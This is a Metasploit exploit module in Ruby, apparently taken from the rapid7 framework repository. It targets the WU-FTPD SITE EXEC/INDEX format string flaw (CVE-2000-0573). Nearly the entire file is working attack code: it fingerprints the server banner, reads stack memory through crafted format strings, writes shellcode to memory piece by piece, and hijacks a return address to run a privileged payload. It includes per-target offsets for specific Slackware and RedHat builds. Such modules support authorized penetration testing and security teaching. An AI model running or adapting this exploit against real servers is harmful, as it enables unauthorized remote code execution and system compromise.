## |
| # This module requires Metasploit: http://metasploit.com/download |
| # Current source: https://github.com/rapid7/metasploit-framework |
| ## |
|
|
| class MetasploitModule < Msf::Exploit::Remote |
| Rank = GreatRanking |
|
|
| include Msf::Exploit::Remote::Ftp |
| include Msf::Exploit::FormatString |
|
|
| def initialize(info = {}) |
| super(update_info(info, |
| 'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability', |
| 'Description' => %q{ |
| This module exploits a format string vulnerability in versions of the |
| Washington University FTP server older than 2.6.1. By executing |
| specially crafted SITE EXEC or SITE INDEX commands containing format |
| specifiers, an attacker can corrupt memory and execute arbitrary code. |
| }, |
| 'Author' => [ 'jduck' ], |
| 'References' => |
| [ |
| ['CVE', '2000-0573'], |
| ['OSVDB', '11805'], |
| ['BID', '1387'] |
| ], |
| 'DefaultOptions' => |
| { |
| 'EXITFUNC' => 'process', |
| 'PrependChrootBreak' => true |
| }, |
| 'Privileged' => true, |
| 'Payload' => |
| { |
| # format string max length |
| 'Space' => 256, |
| # NOTE: \xff's need to be doubled (per ftp/telnet stuff) |
| 'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f", |
| 'DisableNops' => 'True', |
| 'StackAdjustment' => -1500 |
| }, |
| 'Platform' => [ 'linux' ], |
| 'Targets' => |
| [ |
| # |
| # Automatic targeting via fingerprinting |
| # |
| [ 'Automatic Targeting', { 'auto' => true } ], |
|
|
| # |
| # specific targets |
| # |
| [ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)', |
| { |
| 'UseDPA' => false, |
| 'PadBytes' => 3, |
| 'NumPops' => 8, |
| 'AddrPops' => 100, |
| 'Offset' => -2088, # offset to stack return |
| 'Writable' => 0xbfffde26, # stack, avoid badchars |
| 'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr |
| } |
| ], |
| # these aren't exploitable (using built-in, stripped down vsprintf, no %n) |
| #[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)', |
| #[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)', |
| #[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)', |
| [ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)', |
| { |
| 'UseDPA' => true, |
| 'PadBytes' => 2, |
| 'NumPops' => 276, |
| 'AddrPops' => 2, |
| 'Offset' => -17664, # offset to stack return |
| 'Writable' => 0x806e726, # bss |
| #'Writable' => 0xbfff0126, # stack, avoid badchars |
| 'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr |
| #'FlowHook' => 0x806e1e0 # GOT of sprintf |
| } |
| ], |
|
|
| # |
| # this one will detect the parameters automagicly |
| # |
| [ 'Debug', |
| { |
| 'UseDPA' => false, |
| 'PadBytes' => 0, |
| 'NumPops' => 0, |
| 'AddrPops' => -1, |
| 'Offset' => -1, |
| 'Writable' => 0x41414242, # |
| 'FlowHook' => 0x43434545 # |
| } |
| ], |
| ], |
| 'DefaultTarget' => 0, |
| 'DisclosureDate' => 'Jun 22 2000')) |
| register_options( |
| [ |
| Opt::RPORT(21), |
| ]) |
| end |
|
|
|
|
| def check |
| # NOTE: We don't care if the login failed here... |
| ret = connect_login |
|
|
| # We just want the banner to check against our targets.. |
| vprint_status("FTP Banner: #{banner.strip}") |
| status = Exploit::CheckCode::Safe |
| if banner =~ /Version wu-2\.(4|5)/ |
| status = Exploit::CheckCode::Appears |
| elsif banner =~ /Version wu-2\.6\.0/ |
| status = Exploit::CheckCode::Appears |
| end |
|
|
| # If we've made it this far, we care if login succeeded. |
| if (ret) |
| # NOTE: vulnerable and exploitable might not mean the same thing here :) |
| if not fmtstr_detect_vulnerable |
| status = Exploit::CheckCode::Safe |
| end |
| if not fmtstr_detect_exploitable |
| status = Exploit::CheckCode::Safe |
| end |
| end |
|
|
| disconnect |
| return status |
| end |
|
|
|
|
| def exploit |
|
|
| if (not connect_login) |
| fail_with(Failure::Unknown, 'Unable to authenticate') |
| end |
|
|
| # Use a copy of the target |
| mytarget = target |
|
|
| if (target['auto']) |
| mytarget = nil |
|
|
| print_status("Automatically detecting the target...") |
| if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then |
| print_status("FTP Banner: #{banner.strip}") |
| version = m[1] |
| else |
| fail_with(Failure::NoTarget, "No matching target") |
| end |
|
|
| regexp = Regexp.escape(version) |
| self.targets.each do |t| |
| if (t.name =~ /#{regexp}/) then |
| mytarget = t |
| break |
| end |
| end |
|
|
| if (not mytarget) |
| fail_with(Failure::NoTarget, "No matching target") |
| end |
|
|
| print_status("Selected Target: #{mytarget.name}") |
| else |
| print_status("Trying target #{mytarget.name}...") |
| if banner |
| print_status("FTP Banner: #{banner.strip}") |
| end |
| end |
|
|
| # proceed with chosen target... |
|
|
| # detect stuff! |
| if mytarget.name == "Debug" |
| #fmtstr_set_caps(true, true) |
| # dump the stack, so we can detect stuff magically |
| print_status("Dumping the stack...") |
| stack = Array.new |
| extra = "aaaabbbb" |
| 1000.times do |x| |
| dw = fmtstr_stack_read(x+1, extra) |
| break if not dw |
| stack << dw |
| end |
|
|
| stack_data = stack.pack('V*') |
| print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data)) |
|
|
| # detect the number of pad bytes |
| idx = stack_data.index("aaaabbbb") |
| if not idx |
| fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!") |
| end |
| num_pad = 0 |
| num_pad = 4 - (idx % 4) if (idx % 4) > 0 |
| mytarget.opts['PadBytes'] = num_pad |
|
|
| # calculate the number of pops needed to hit our addr |
| num_pops = (idx + num_pad) / 4 |
| mytarget.opts['NumPops'] = num_pops |
| else |
| num_pad = mytarget['PadBytes'] |
| num_pops = mytarget['NumPops'] |
| sc_loc = mytarget['Writable'] |
| ret = mytarget['FlowHook'] |
| end |
|
|
| print_status("Number of pad bytes: #{num_pad}") |
| print_status("Number of pops: #{num_pops}") |
|
|
| # debugging -> don't try it! |
| return if mytarget.name == "Debug" |
|
|
| #print_status("ATTACH!") |
| #select(nil,nil,nil,5) |
|
|
| fmtstr_detect_caps |
|
|
| # compute the stack return address using the fmt to leak memory |
| addr_pops = mytarget['AddrPops'] |
| offset = mytarget['Offset'] |
| if addr_pops > 0 |
| stackaddr = fmtstr_stack_read(addr_pops) |
| print_status("Read %#x from offset %d" % [stackaddr, addr_pops]) |
| ret = stackaddr + offset |
| end |
|
|
| print_status("Writing shellcode to: %#x" % sc_loc) |
| print_status("Hijacking control via %#x" % ret) |
|
|
|
|
| # no extra bytes before the padding.. |
| num_start = 0 |
|
|
| # write shellcode to 'writable' |
| arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget) |
|
|
| # process it in groups of 24 (max ~400 bytes per command) |
| sc_num = 1 |
| while arr.length > 0 |
| print_status("Sending part #{sc_num} of the payload...") |
| sc_num += 1 |
|
|
| narr = arr.slice!(0..24) |
|
|
| fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget) |
| # a space allows the next part to start with a '/' |
| fmtbuf[num_pad-1,1] = " " |
| fmtbuf.gsub!(/\xff/, "\xff\xff") |
| if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true))) |
| if res[0,4] == "500 " |
| fail_with(Failure::Unknown, "Something went wrong when uploading the payload...") |
| end |
| end |
| end |
|
|
|
|
| # write 'writable' addr to flowhook (execute shellcode) |
| # NOTE: the resulting two writes must be done at the same time |
| print_status("Attempting to write %#x to %#x.." % [sc_loc, ret]) |
|
|
| fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget) |
| # a space allows the next part to start with a '/' |
| fmtbuf[num_pad-1,1] = " " |
| fmtbuf.gsub!(/\xff/, "\xff\xff") |
| # don't wait for the response here :) |
| res = send_cmd(['SITE', 'EXEC', fmtbuf], false) |
|
|
| print_status("Your payload should have executed now...") |
| handler |
| end |
|
|
|
|
| # |
| # these two functions are used to read stack memory |
| # (used by fmtstr_stack_read() |
| # |
| def trigger_fmt(fmtstr) |
| return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2)) |
| send_cmd(['SITE', 'EXEC', 'x', fmtstr], true) |
| end |
|
|
| def extract_fmt_output(res) |
| if (res =~ /^5.. /) |
| #throw "Crap! Something went wrong while dumping the stack..." |
| return nil |
| end |
| ret = res.strip.split(/\r?\n/)[0] |
| ret = ret[6,ret.length] |
| return ret |
| end |
|
|
|
|
| end
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
|